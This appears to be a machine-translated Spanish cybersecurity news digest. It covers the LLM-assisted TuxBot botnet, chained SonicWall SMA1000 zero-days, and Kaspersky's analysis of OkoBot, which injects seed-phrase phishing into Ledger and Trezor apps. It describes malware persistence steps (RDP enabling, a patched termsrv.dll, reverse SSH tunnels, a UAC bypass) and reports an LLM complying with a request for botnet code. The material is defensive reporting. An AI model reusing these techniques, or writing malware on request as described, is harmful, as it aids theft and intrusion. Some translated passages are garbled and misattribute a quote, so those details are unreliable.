Trump ha amenazado con renovación de bloque a menos que los legisladores avancen en su proyecto de ley electoral prioritario. Dijo que estudiará cómo “minimizar el impacto perjudicial para nuestra seguridad nacional causado por el lapso de 702 autoridades”. Mientras tanto, algunos demócratas se han resistido a tomar medidas sobre la ley hasta que Trump elija a Bill Pulte para el DNI interino. se ha idocitando sus esfuerzos anteriores para investigar a funcionarios como jefe de la Agencia Federal de Financiamiento de Vivienda y su falta de experiencia en inteligencia.

Dado que el Partido Republicano controla el Senado, es probable que Clayton sea confirmado como DNI siempre que no surja ningún republicano en la oposición. La audiencia del miércoles no reveló objeciones republicanas significativas.

El presidente de Inteligencia, Tom Cotton, republicano por Arkansas, destacó la experiencia de Clayton en el procesamiento de casos de terrorismo y más.

«Jay Clayton ha trabajado mano a mano con nuestras agencias de inteligencia y personal antiterrorista para encerrar a criminales que amenazan nuestra seguridad nacional», dijo Clayton. «Animo a mis colegas a que se unan a mí y logren que la nominación del Sr. Clayton llegue a la meta».

Tim Starks

Escrito por Tim Starks

Tim Starks es reportero senior de CyberScoop. Sus paradas anteriores incluyen trabajar en The Washington Post, POLITICO y Congressional Quarterly. Originario de Evansville, Indiana, se ocupa de la ciberseguridad desde 2003. Envíe un correo electrónico a Tim aquí: tim.starks@cyberscoop.com.

TuxBot v3 Evolution muestra signos de desarrollo de botnets de IoT asistido por LLM – CYBERDEFENSA.MX

Investigadores de ciberseguridad han revelado detalles de un marco de botnet de Internet de las cosas (IoT) no informado anteriormente denominado TuxBot v3 Evolución que muestra signos de haber sido desarrollado con la ayuda de un modelo de lenguaje grande (LLM), aunque con resultados no tan exitosos.

«Si bien la IA cumplió con su solicitud de generar código de botnet, incluyó un descargo de responsabilidad de seguridad que el desarrollador no eliminó antes del envío», Unidad 42 de Palo Alto Networks dicho. «Aunque el LLM claramente ayudó en la construcción de la botnet, varias funciones en las muestras analizadas no funcionaron correctamente».

La compañía de ciberseguridad dijo que una revisión manual del código habría resuelto estos errores y que es posible que existan iteraciones más pulidas del malware.

El marco de la botnet consta de varios componentes: un agente bot basado en C que realiza compilaciones cruzadas para múltiples arquitecturas (por ejemplo, ARM, MIPS, MIPSEL, MIPS64, x86_64, PowerPC y RISC-V), un servidor de comando y control (C2) basado en Go con un panel de alquiler de DDoS, una máquina virtual de exploits personalizada, una infraestructura de prueba basada en Docker y un sistema de compilación automatizado.

El agente bot está diseñado para forzar el acceso Telnet a dispositivos específicos con un conjunto de 1496 pares de credenciales, así como para incorporar código de explotación dirigido a más de 30 familias de dispositivos IoT que utilizan vulnerabilidades conocidas. Se comunica con el servidor C2 a través de un canal TCP cifrado, mientras recurre a un algoritmo de generación de dominio (DGA) SHA512, un protocolo de chismes de igual a igual (P2P) con comandos firmados por Ed25519, Internet Relay Chat (IRC), consultas DNS TXT y sondeo HTTP como mecanismo alternativo.

Ciberseguridad

El linaje del marco modular se remonta a tres botnets diferentes, como Mirai, AISURU y Wuhan, además de trasladar parcialmente algunas de sus funciones del código abierto. Kit de herramientas MHDDoS Python DDoS. Al menos una muestra del malware fue subido a la plataforma VirusTotal el 20 de enero de 2026, lo que indica que existe desde hace más de seis meses. La evidencia sugiere que el trabajo en la botnet comenzó un año antes, cuando el autor clonó el repositorio MHDDoS de GitHub.

«Según la descripción del marco, el desarrollador de TuxBot construyó lo que llamaron una plataforma de marco C2 de nivel profesional con un panel de administración multiusuario, implementación automatizada y capacidades de ataque modular», dijeron los investigadores Chris Navarrete, Asher Davila y Doel Santos.

El componente del servidor C2 basado en Go utiliza tres puertos TCP diferentes para las conexiones entrantes:

  • Puerto TCP 1999 (o 31337), que se utiliza para manejar el envío de comandos cifrados a los bots conectados
  • Puerto TCP 2222, que presenta un shell interactivo para operadores a través de SSH
  • Puerto TCP 9999, que utiliza una interfaz JSON para acceso programático

Una vez lanzada, la botnet sigue una secuencia de inicialización predefinida para realizar una serie de acciones:

  • Carga de la dirección C2 desde una arquitectura de varios niveles con un canal principal y cinco mecanismos alternativos
  • Configurar protecciones anti-depuración y anti-VM que verifican la ejecución de herramientas de análisis
  • Ocultar su nombre de proceso
  • Instalando persistencia
  • Lanzar varios submódulos para montar ataques DDoS, finalizar procesos competitivos, establecer canales C2 a través de IRC, HTTP, DNS y P2P, ejecutar escáneres para Telnet, SSH, HTTP y Android Debug Bridge (ADB), generar un proxy SOCKS5 y ejecutar un marcador de posición de minería de criptomonedas.

El escáner HTTP dedicado, en particular, puede gestionar hasta 128 conexiones simultáneas en cualquier momento dado, funcionando con el objetivo de descubrir interfaces web vulnerables. La persistencia, por otro lado, se logra mediante un servicio systemd, entradas cron y un proceso de vigilancia para garantizar que TuxBot permanezca operativo en la máquina comprometida.

Ciberseguridad

«Varios archivos contienen razonamientos de cadena de pensamiento de LLM sin procesar, dejados palabra por palabra en los comentarios», dijo Unit42. «Estos comentarios son el razonamiento interno del LLM mientras trabajaba en las tareas de transferencia. Este razonamiento se completa con autointerrupciones, decisiones y referencias al ‘usuario’ (es decir, el desarrollador que solicitó el LLM)».

Aunque TuxBot v3 Evolution es una botnet en desarrollo, las funciones de trabajo principales, junto con su dependencia de la IA, indican una integración acelerada de características, al mismo tiempo que permiten que lo que parece ser un solo desarrollador cree un conjunto de herramientas multifacético con múltiples canales C2, una máquina virtual de exploit personalizada y un panel de alquiler de DDoS basado en Go.

«La infraestructura compartida con Kaitori v3.9 y las herramientas AISURU coloca al operador TuxBot dentro del ecosistema Keksec», concluyó la Unidad 42. «Este grupo es conocido por ejecutar múltiples variantes de botnet IoT en paralelo. TuxBot parece ser otra variante en esa cartera. Es una que apunta a ir más allá de la bifurcación Mirai habitual con su C2 cifrado, su DGA y un sistema de explotación modular, aunque ese sistema aún no funciona en la versión que recuperamos».

La divulgación se produce tras la aparición de otras dos botnets llamadas RustDuck y AryStinger, que se han dirigido a enrutadores, cámaras IP, dispositivos Android y servidores mal protegidos para incorporarlos a una red creada para prestar servicios en línea fuera de línea y realizar reconocimientos.

Los clientes de SonicWall están amenazados porque los atacantes explotan 2 días cero

Los clientes de SonicWall están intentando esquivar otro desafío de seguridad mientras los atacantes explotan un par de vulnerabilidades de día cero que han sido confirmadas por el proveedor.

La empresa reveló públicamente las vulnerabilidades: CVE-2026-15409 y CVE-2026-15410 – en un aviso de seguridad Martes. SonicWall le dio crédito a un empleado por descubrir los defectos, pero no dijo cuándo ocurrió el descubrimiento ni cuál fue el primer caso conocido de explotación.

Los investigadores de Rapid7 dijeron a CyberScoop que ambas vulnerabilidades fueron explotadas por primera vez el 22 de junio. «A partir de los casos que nuestro equipo ha observado, el objetivo probablemente sea el ransomware, aunque hemos impedido que los actores lograran la exfiltración y el cifrado», dijo Seth Lazarus, gerente senior de servicios de detección y respuesta de Rapid7.

Las tácticas, técnicas y procedimientos superpuestos de los ataques observados por Rapid7 indican que el mismo grupo de amenaza o atacante descubrió y explotó los días cero, agregó Lazarus.

SonicWall no respondió preguntas sobre los impactos de estos ataques hasta el momento, y la compañía no ha atribuido los ataques a un grupo conocido ni ha descrito los orígenes y motivaciones del atacante.

Sin embargo, el proveedor confirmó a CyberScoop que ambas vulnerabilidades se han encadenado para su explotación. Las vulnerabilidades que afectan a los dispositivos SonicWall SMA1000, incluido un defecto de gravedad máxima que permite a los atacantes realizar solicitudes autenticadas y una vulnerabilidad con clasificación 7.2 que permite la inyección de comandos autenticados.

«Cuando estos dos están encadenados, un atacante puede pasar de un acceso cero a un compromiso completo del sistema del dispositivo afectado», dijo Landon Rice, desarrollador senior de exploits en VulnCheck.

Ben Harris, fundador y director ejecutivo de watchTowr, dijo que dos características de las vulnerabilidades alimentan una sensación de temor. «Ambos fueron explotados como días cero antes de que las soluciones estuvieran disponibles, y juntos ofrecen un camino plausible para la ejecución remota de código desde Internet», dijo.

La Agencia de Seguridad de Infraestructura y Ciberseguridad agregó ambos días cero a su catálogo de vulnerabilidades explotadas conocidas Martes.

SonicWall alentó a los clientes a corregir las vulnerabilidades actualizando a la última versión del software, que lanzó tras la divulgación, y compartió algunos indicadores de compromiso para ayudar a los clientes a buscar posibles actividades maliciosas en sus sistemas.

«La velocidad de respuesta era una prioridad para nosotros», afirmó Bret Fitzgerald, director senior de comunicaciones globales de SonicWall. «A los pocos días de tomar conciencia del problema, nuestro equipo desarrolló un script que podemos ejecutar en nombre de los clientes afectados para ayudar con la resolución, y los esfuerzos de mitigación ya están en marcha».

SonicWall y los investigadores externos no han dicho cuántos clientes de SonicWall se ven afectados por las vulnerabilidades explotadas, pero el proveedor dijo que ya investigó múltiples casos de explotación activa.

Fitzgerald dijo que la compañía monitorea alrededor de un millón de sensores en todo el mundo y que «los dispositivos SMA1000 representan un subconjunto muy pequeño de esa huella, menos de 5000 unidades».

SonicWall dijo que el personal de soporte también está ayudando a los clientes a resolver casos de actividad sospechosa, advirtiendo que aplicar parches por sí solos no es suficiente.

El proveedor y sus clientes se han visto afectados durante años por una avalancha de días cero explotados activamente y defectos previamente revelados en dispositivos SonicWall. En 2025, un actor de amenazas no revelado patrocinado por el estado invadió el entorno de nube de la empresa y robó las configuraciones de firewall de todos los clientes de SonicWall.

Se han agregado diecisiete defectos que afectan a los productos del proveedor al catálogo de vulnerabilidades explotadas conocidas de CISA desde finales de 2021. Se sabe que diez de esos defectos se utilizan en campañas de ransomware, según CISA, incluida una ola de alrededor de 40 ataques de ransomware Akira entre mediados de julio y principios de agosto.

«Como siempre», dijo Harris, «cuando se confirma que algo ya está explotado en la naturaleza, lo mínimo indispensable es aplicar parches y se debe asumir que se ha producido una infracción».

Matt Kapko

Escrito por Matt Kapko

Matt Kapko es reportero de CyberScoop. Su ámbito incluye delitos cibernéticos, ransomware, defectos de software y (mala) gestión de vulnerabilidades. El californiano de toda la vida comenzó su carrera periodística en 2001 con paradas anteriores en Cybersecurity Dive, CIO, SDxCentral y RCR Wireless News. Matt tiene una licenciatura en periodismo e historia de la Universidad Estatal de Humboldt.

OkoBot Malware Framework inyecta phishing con frases iniciales en aplicaciones Ledger y Trezor – CYBERDEFENSA.MX

Un marco de malware llamado OkoBot se ha estado ejecutando en máquinas con Windows desde abril de 2025, y uno de sus módulos está diseñado para estafar a los propietarios de billeteras de hardware para que no cumplan con su frase de recuperación.

En una PC infectada, la solicitud proviene del propio software de escritorio de la billetera. A veces espera hasta que conectas el dispositivo primero. La página es maliciosa. La aplicación que la rodea es la real que instalaste y la frase es la billetera.

El equipo GReAT de Kaspersky publicó el desmontaje el miércoles, contando cientos de víctimas en su telemetría en más de 25 países. La mayor proporción de usuarios atacados se encuentra en Brasil, Vietnam, Canadá, México y Türkiye.

¿Cuántos de ellos escribieron una frase? El informe no lo dice. OkoBot lleva más de 20 cargas útiles e implantes y todavía estaba activo en el informe del 15 de julio.

SeedHunter espera el dispositivo

cazador de semillas Es el módulo OkoBot el que se roba la frase. Una vez que el marco aterriza, busca Trezor Suite, Ledger Wallet y Ledger Live, inyecta lo que encuentra y conecta los componentes internos de Electron de la aplicación. Luego le pregunta a su C2 en moonsand[.]store.

Ciberseguridad

Si el servidor establece un Wait flag, SeedHunter escanea el USB por proveedor e ID de producto y se queda quieto hasta que se conecta un Ledger o Trezor real. Solo entonces dibuja una página de recuperación codificada, un diseño por marca. Con la bandera apagada, la página aparece inmediatamente. La frase escrita va a la propia consola de la página detrás de un @:app:print marcador y el gancho mal_LogConsoleMessage lo recoge. Sale como JSON, con una copia RC4 colocada en un archivo temporal.

La billetera de hardware no es lo que se rompe. Hace aquello para lo que fue creado, que es negarse a ceder la clave, y no puede evitar que el software complementario le pida la frase.

Ninguna de las dos mitades del truco es nueva. Laboratorio Moonlock ladrones de macOS rastreados haciendo la versión de intercambio, y THN cubrió esas aplicaciones clonadas de Ledger Live: AMOS eliminó Ledger Live y lanzó un clon troyanizado en /Applications exigiendo las 24 palabras.

GlassWorm activó el USB en Windows en marzo, usando WMI para detectar un dispositivo que entraba y luego abrió su propia ventana después de cerrar la aplicación real. Lo que cambia SeedHunter es dónde se dibuja la página. Deja la aplicación ejecutándose y dibuja dentro de ella.

El SSMS que en realidad era Audacity

Dos formas principales de entrada: un señuelo ClickFix y software troyanizado en GitHub. El repositorio que Kaspersky desmontó anunciaba SQL Server Management Studio. Lo que envió fue Audacity, el editor de audio, reconstruido con un implante malicioso dentro de una de sus bibliotecas. Ocupó el primer puesto en SSMS. Vivió desde finales de marzo de 2025 hasta junio.

Ambas rutas ejecutan TookPS, un descargador de PowerShell al que Kaspersky ha seguido desde entonces. marzo 2025cuando montó páginas falsas de DeepSeek, entonces sitios falsos de descarga de software empresarial. Instala SSH, marca un servidor controlado por el atacante, reenvía el puerto del demonio SSH local y espera. Más tarde, un bot SSH automatizado se conecta nuevamente a través del túnel.

El robot realiza un inventario de la caja hasta el AV instalado y luego arrastra archivos de billetera, cookies, perfiles de navegador y credenciales a través del túnel. Silencia las notificaciones de Defender con una escritura de registro y crea un escritorio:

  1. Abre el firewall para RDP entrante
  2. Agrega una cuenta al grupo de usuarios de escritorio remoto
  3. Reemplaza termsrv.dll con una compilación parcheada que permite sesiones RDP simultáneas
  4. Registra una tarea programada llamada Apple Sync que reconstruye un túnel SSH inverso para el puerto RDP local cada hora

Después de eso, los módulos llegan a través de SFTP. Un iniciador lleno de VMProtect llamado HDUtil los ejecuta y puede elevarlos silenciosamente a través de un bypass UAC RPC de Windows que Project Zero documentado en 2019.

La última entrega es Volume2, una utilidad de código abierto que lleva un malware protobuf.dll que descifra e inicia la carga útil real: un despachador de complementos que sondea su C2 cada 20 segundos. Kaspersky recuperó cinco complementos. Uno es un inyector de procesos, y eso es lo que pone en marcha a SeedHunter.

El resto del kit es de vigilancia. OkoSpyware busca más de 100 ejecutables, entre ellos Exodus y 1Password. Filma la ventana correspondiente en MP4 con un FFmpeg incluido y registra las pulsaciones de teclas en él.

Los títulos del navegador coinciden con expresiones regulares, por lo que se registra una pestaña de MetaMask o Tonkeeper. MC Keylogger cubre la entrada, el portapapeles, los dispositivos USB y toma una captura de pantalla cada cinco minutos. Un cargador instala extensiones ocultas de Chromium con todos los permisos concedidos; Rilide, un ladrón de Chromium utilizado por actores de amenazas de habla rusa desde abril de 2023, es lo que instaló.

¿De quién es el marco?

Kaspersky no nombrará a ningún actor: «No podemos atribuir esta campaña maliciosa a ningún actor conocido de crimeware». Los servidores que alojan el PowerShell de primera etapa devuelven una respuesta vacía a las IP rusas y de la CEI. Rilide se mueve en foros de habla rusa sólo por invitación.

Las páginas de phishing de SeedHunter contienen comentarios en ruso. Se trata de señales suaves y el informe las trata como tal.

Ciberseguridad

No hay una billetera CVE ni un parche de proveedor que cierre esta ruta. En cambio, aterriza en el punto final y los artefactos son lo suficientemente específicos como para cazarlos:

  • Una tarea programada llamada Apple Sync
  • %PROGRAMDATA%\hwid.dat, %PROGRAMDATA%\HDVideo\HDUtil.exe, %USERPROFILE%\.ssh\go.bat
  • termsrv.dll alterado de su construcción enviada
  • Cuentas en Usuarios de Escritorio Remoto que nadie agregó
  • SSH saliente desde los puntos finales de los usuarios
  • Extensiones en Local Extension Settings que nunca aparecen en la lista de extensiones del navegador

La publicación de Kaspersky tiene los hashes y los dominios C2. Los vendedores ponen el límite en el dispositivo. Ledger dice la frase nunca va a ninguna parte excepto al propio libro mayor.

Trezor Suite dice que lo hará nunca te pida que escribas tu copia de seguridadaunque un Model One la recuperación estándar toma las palabras en Suitey solo cuando el dispositivo lo solicite. Una página que aparece porque te conectaste, sin nada en la pantalla del dispositivo detrás, es la señal.

Luego la reconstrucción de marzo de 2026. TeviRAT ya no está. El HDUtil para extl a la cadena Rilide desapareció, integrado en un único complemento de despachador que hace el mismo trabajo. Volumen 2 ahora viene directamente de TookPS. Nadie poda una base de código de la que está a punto de abandonar.

Cerrar la brecha de aprobación en la tecnología publicitaria de la era de la IA – CYBERDEFENSA.MX

Una única etiqueta de marketing aprobada puede cargar silenciosamente código de terceros que su equipo de seguridad nunca ha visto, otorgando acceso completo a sus formularios, datos de clientes y páginas de pago.

Este seminario web bajo demanda revela cómo se forma esta brecha de aprobación y le brinda a su equipo el plan para cerrarla antes de que un auditor, regulador o atacante la encuentre primero.

La realidad de la brecha de aprobación

Es un patrón que todo equipo de seguridad y TI reconoce:

Ejecutaste la revisión de seguridad. Aprobaste al proveedor. Seguiste adelante.

Pero la etiqueta de marketing que usted firmó rara vez permanece igual que la etiqueta que se ejecuta en los navegadores de sus usuarios. Un proveedor aprobado carga a otro. Éste carga más y, en unos pocos saltos, su sitio ejecuta scripts de terceros que nadie de su equipo ha examinado jamás. Debido a que se ejecutan en el lado del cliente, tienen el mismo acceso a sus formularios, campos de pago y datos del cliente que el código que escribieron sus propios ingenieros.

Esta es la brecha de aprobación: la distancia entre lo que la seguridad aprobó y lo que realmente se está ejecutando en su sitio en este momento.

Dos lados de la misma mesa: Reflectiz y Taboola

Este no es sólo un problema de los anunciantes; es un desafío que las plataformas de tecnología publicitaria responsables trabajan activamente para resolver. La plataforma de descubrimiento de contenido de Taboola llega a 600 millones de usuarios activos diarios en 9.000 socios editores, lo que significa que su propio código es precisamente el tipo de script de terceros que un equipo de seguridad necesita examinar antes de permitir que se acerque a una página de pago.

En este seminario web, el cofundador y director ejecutivo de Reflectiz, Idan Cohen, y el director de producto de Taboola, Omri Ariav, analizan el problema desde ambos lados de la mesa.

Ariav compara el código de Taboola con un invitado, uno que el anfitrión tiene derecho a observar: «Creemos que somos invitados en la página de inicio del editor o del anunciante. Y debemos comportarnos».

Pero también tiene claro que el buen comportamiento no es una promesa de una sola vez: «La aprobación inicial no es la línea de meta. Se necesita una forma continua de monitoreo, aislamiento y garantía de que cumplen con un buen estándar de seguridad. Una verificación no es suficiente».

Las cinco preguntas indispensables

Entonces, ¿cómo se cierra la brecha de aprobación? Empiece por establecer un listón alto para su cadena de suministro digital. Idan establece las cinco preguntas indispensables sobre tecnología publicitaria que debe hacerle a todos los proveedores de marketing y dice que deberían poder responderlas antes de que su código llegue a su sitio.

Como él dice: «Un proveedor que no puede responder las preguntas no es malicioso, pero no está supervisado, y no estarlo implica riesgo».

La primera es engañosamente simple: ¿qué otro código carga tu etiqueta y quién lo examinó? Idan repasa los cinco en la sesión. Pregúnteles hoy y la mayoría de los proveedores encontrarán al menos uno, lo que brindará a su equipo inteligencia de riesgos inmediata y procesable.

Por qué la IA está acelerando la amenaza

Esta visibilidad importa más que nunca. La tecnología publicitaria impulsada por IA genera nuevas integraciones, puntos finales y flujos de datos a la velocidad de la máquina, por lo que la aprobación que concedió el último trimestre describe una pila que ya no existe. Al mismo tiempo, la IA está haciendo que el abuso del navegador sea más barato, más rápido y accesible incluso para el atacante sin conocimientos técnicos.

Los datos respaldan esto. Según Reflectiz Informe sobre el estado de la exposición web 2026el 53% de las exposiciones al riesgo minorista se deben al uso excesivo de herramientas de seguimiento. Esto apunta a un problema estructural: cuando diferentes departamentos tienen diferentes prioridades, ¿quién tiene realmente la responsabilidad?

El marketing añade etiquetas rápidamente porque valora la velocidad. Seguridad revisa el código cuidadosamente porque valora la minuciosidad. Las subllamadas no reveladas que aparecen en la brecha entre esos dos enfoques no pertenecen a nadie, que es exactamente la razón por la que pasan por alto los cortafuegos, los WAF y la revisión de código en un momento dado. Un guión que estaba limpio en el momento de la aprobación puede cambiar al día siguiente.

La solución no es frenar el marketing ni tratar a la tecnología publicitaria como al enemigo. es para sumar visibilidad continua y profunda.

Con qué te irás

  • La cadena de terceros: Cómo una única etiqueta de marketing aprobada genera una cascada de scripts de terceros y de cuartos que su equipo de seguridad nunca revisó.
  • La aceleración de la IA: Por qué la tecnología publicitaria basada en IA está ampliando la superficie de ataque del lado del cliente más rápido de lo que pueden detectar las auditorías puntuales.
  • La realidad del cumplimiento: Dónde miran ahora primero los reguladores y cómo el RGPD, la CCPA y Requisitos PCI DSS 4.0.1 6.4.3 y 11.6.1 se aplican a los scripts del proveedor que ya se están ejecutando en su sitio.
  • El punto de referencia para la confianza: Cómo se verá la tecnología publicitaria transparente y orientada a la seguridad en 2026 y cómo saber cuál de sus proveedores cumple con los requisitos.
  • Su manual de estrategias de 3 pasos: Un marco práctico para inventariar, monitorear y gobernar su cadena de suministro web sin crear fricciones operativas.

¿Para quién es esto?

  • CISO y líderes en seguridad de aplicaciones que buscan eliminar los puntos ciegos del lado del cliente
  • Equipos de privacidad y cumplimiento navegando por mandatos en evolución
  • Líderes en tecnología digital y de marketing que desean implementar herramientas de forma segura y rápida.
  • Cualquier persona responsable de lo que se ejecuta en los sitios web de su organización.

Si su lista de proveedores aprobados ya no refleja lo que realmente se ejecuta en los navegadores de los usuarios, esta sesión es para usted.

Sus etiquetas de marketing ya están activas en sus páginas. ¿Sabes lo que realmente están haciendo ahora mismo?

No espere a que una auditoría fallida o una página de pago hojeada expongan la brecha.

Vea la sesión bajo demanda ahora

¿Encontró interesante este artículo? Este artículo es una contribución de uno de nuestros valiosos socios. Síguenos en noticias de google, Gorjeo y LinkedIn para leer más contenido exclusivo que publicamos.